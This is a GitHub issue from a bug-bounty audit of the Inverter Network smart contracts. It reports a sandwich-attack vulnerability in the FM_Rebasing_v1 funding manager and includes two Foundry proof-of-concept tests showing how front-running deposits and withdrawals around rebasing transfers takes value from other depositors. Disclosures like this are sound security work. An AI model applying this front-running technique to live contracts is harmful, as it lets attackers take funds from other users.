hats-finance / Inverter-Network-0xe47e52c4fea05e555920f1dcdcc6fb8eca103eeb

Fork of the Inverter Smart Contracts Repository
GNU Lesser General Public License v3.0
0 stars 3 forks source link

Sandwich Attack Vulnerability in `FM_Rebasing_v1` via Token Transfers and Orchestrator Transactions #154

Open hats-bug-reporter[bot] opened 5 months ago

hats-bug-reporter[bot] commented 5 months ago

Github username: @0xmahdirostami Twitter username: 0xmahdirostami Submission hash (on-chain): 0x6be64ca3e8c2415e14b45b3c12e1a5d29be34ad727a750220815f2af71ea84ae Severity: high

Description: Description

In a previous issue (#153), it was mentioned that if the owner buys shares and transfers them out, it will harm users. The main point of this issue is that if the owner doesn't buy shares but transfers them manually to a contract and then transfers them out, it creates opportunities for sandwich attacks.

A malicious user can exploit the FM_Rebasing_v1 system by sandwiching the incoming transfer and transferOrchestratorToken transactions. They can buy shares before funds are transferred to the contract, sell after the funds are transferred but before transferOrchestratorToken, and then buy again after transferOrchestratorToken. When tokens are transferred to the vault, the value of user shares increases. Conversely, when tokens are transferred out via transferOrchestratorToken, the value of the shares decreases. This allows the user to sandwich these transactions to avoid loss or gain profit.

Attack Scenario

First Scenario:

  1. Alice deposits 100 tokens and receives 100 shares.
  2. The transferOrchestratorToken is called through the orchestrator, transferring 100 tokens out.
  3. Alice front-runs the transaction and burns her shares, receiving 100 tokens, the same amount as her initial deposit.
  4. The transferOrchestratorToken transaction is executed. Now the supply target is 100, and the active bits remain 200 (other users lost half of their tokens, but Alice didn't).
  5. Alice deposits 100 tokens and receives 200 shares (valued at 100 tokens).

Second Scenario:

  1. The owner transfers 200 tokens to FM_Rebasing_v1 to increase share value.
  2. Alice front-runs the transaction and deposits 1000 tokens (receives 1000 shares).
  3. Tokens are transferred to FM_Rebasing_v1, making the supply target 1400 and active bits 1200.
  4. Alice burns 1000 shares and receives 1166 tokens (166 token profit, while other users have 34 tokens total).

This type of sandwich attack can also be performed during every token transfer to the vault. By front-running the transfer, minting shares, and burning them after the value increases, a malicious user can exploit the system for profit.

Proof of Concept (PoC) File

Two PoCs for two scenarios:

function testFrontRunRebasing() public {
    // create a random address
    address user = makeAddr("EFewfaewfeawfaewfawefewfaeawefawe");
    address user2 = makeAddr("ewfawefaw");
    uint256 amount = 1e18;

    // Mint tokens to depositor.
    _token.mint(user, amount);
    _token.mint(user2, amount);

    // User deposits tokens.
    vm.startPrank(user);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user, user, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();

    // User deposits tokens.
    vm.startPrank(user2);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user2, user2, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();

    // User received funding tokens on 1:1 basis.
    assertEq(fundingManager.balanceOf(user), amount);
    assertEq(fundingManager.balanceOf(user2), amount);

    // malicious user front-runs the transaction and withdraws  
    vm.startPrank(user);
    fundingManager.withdraw(amount);
    vm.stopPrank();
    // Simulate spending some tokens from the FundingManager by burning tokens.
    _token.burn(address(fundingManager), amount/2);
    // Rebase manually. Rebase is executed automatically on every token
    // balance mutating function.
    fundingManager.rebase();
    // User deposits tokens again.
    vm.startPrank(user);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user, user, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();
    // user has 2 times more tokens than user2   
    assertEq(fundingManager.balanceOf(user), amount);
    assertEq(fundingManager.balanceOf(user2), amount/2);
}
function testFrontRunRebasingUp() public {
    // create a random address
    address user = makeAddr("EFewfaewfeawfaewfawefewfaeawefawe");
    address user2 = makeAddr("ewfawefaw");
    uint256 amount = 1e18;

    // Mint tokens to depositor.
    _token.mint(user, amount);
    _token.mint(user2, amount*10);

    // User deposits tokens.
    vm.startPrank(user);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user, user, amount);

        fundingManager.deposit(amount);
    }
    vm.stopPrank();

    // User received funding tokens on 1:1 basis.
    assertEq(fundingManager.balanceOf(user), amount);

    // malicious user front-runs the transaction mints token before rebasing happes ( increase value )  
    vm.startPrank(user2);
    {
        _token.approve(address(fundingManager), type(uint).max);

        vm.expectEmit();
        emit Deposit(user2, user2, amount*10);

        fundingManager.deposit(amount*10);
    }
    vm.stopPrank();

    // Simulate transferring some tokens to the FundingManager by minting tokens.
    _token.mint(address(fundingManager), amount);
    // Rebase manually. Rebase is executed automatically on every token
    // balance mutating function.
    fundingManager.rebase();
    // User withdraws instantly.
    // malicious user back-runs the transaction and withdraws  
    vm.startPrank(user2);
    fundingManager.withdraw(fundingManager.balanceOf(user2));
    vm.stopPrank();

    // user2 has more tokens than initial deposit(amount*10), gain profit by front-running
    assertGt(_token.balanceOf(user2), amount*10);
}
FHieser commented 4 months ago

This is a duplicate of #128